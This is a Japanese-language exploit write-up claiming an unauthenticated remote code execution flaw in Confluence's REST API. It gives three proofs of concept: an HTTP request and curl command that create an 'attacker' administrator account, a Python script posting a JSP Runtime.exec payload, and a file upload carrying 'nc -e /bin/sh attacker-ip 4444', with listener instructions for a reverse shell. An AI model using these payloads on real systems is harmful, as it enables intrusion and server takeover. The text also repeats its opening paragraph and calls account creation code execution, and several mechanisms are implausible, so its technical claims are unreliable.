
この脆弱性により、認証されていない攻撃者は、脆弱性のあるConfluenceサーバ上で任意のコードをリモートで実行できる可能性があります。この脆弱性は、Confluence REST APIにおけるユーザー提供の入力の不適切な検証に起因します。これにより、攻撃者はConfluenceサーバに悪意のあるコードを注入し、サーバがそれを実行する可能性があります。
この脆弱性により、認証されていない攻撃者が脆弱なConfluenceサーバー上で任意のコードをリモートで実行できる可能性があります。この脆弱性は、Confluence REST APIにおけるユーザー入力の不適切な検証に起因します。これにより、攻撃者はConfluenceサーバーに悪意のあるコードを注入し、そのコードをサーバーが実行する可能性があります。
この脆弱性により、攻撃者は脆弱なConfluenceサーバーを完全に制御できる可能性があります。これにより、攻撃者はデータの窃取、データの改ざん、またはサーバーの可用性を妨害することができます。
複数の方法を紹介します 1.
1. 脆弱なAPIエンドポイントの特定:
以下のAPIエンドポイントを使用します。
POST /rest/api/user/bulk
このエンドポイントは、管理者がユーザーを一括作成することを可能にします。
2. 悪意のあるリクエストの作成:
悪意のあるコードを含むペイロードを含むリクエストを作成します。このコードにより、管理者権限を持つ新しいユーザーが作成されます。
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. サーバーへのリクエスト送信:
cURLツールを使用してConfluenceサーバーにリクエストを送信します。
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. 悪意のあるコードの実行:
リクエストが成功すると、Confluenceサーバーは悪意のあるコードを実行します。これにより、"attacker"という名前の管理者権限を持つ新しいユーザーが作成されます。攻撃者はこのアカウントを使用してサーバーにアクセスし、完全に制御することができます。
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
Burp Suiteを介して変更したリクエストを送信します。サーバーが悪意のあるペイロードを実行したかどうかを確認するため、レスポンスをチェックします。レスポンスが予期しないものであったり、コード実行を示すエラーが含まれている場合、脆弱性が検出されています。
リバースシェルを確立するためのペイロードを使用する場合は、ローカルマシンの指定されたポートでリスナーをセットアップしてください: nc -lvnp 4444。サーバーがローカルマシンに接続すると、リバースシェルが得られます。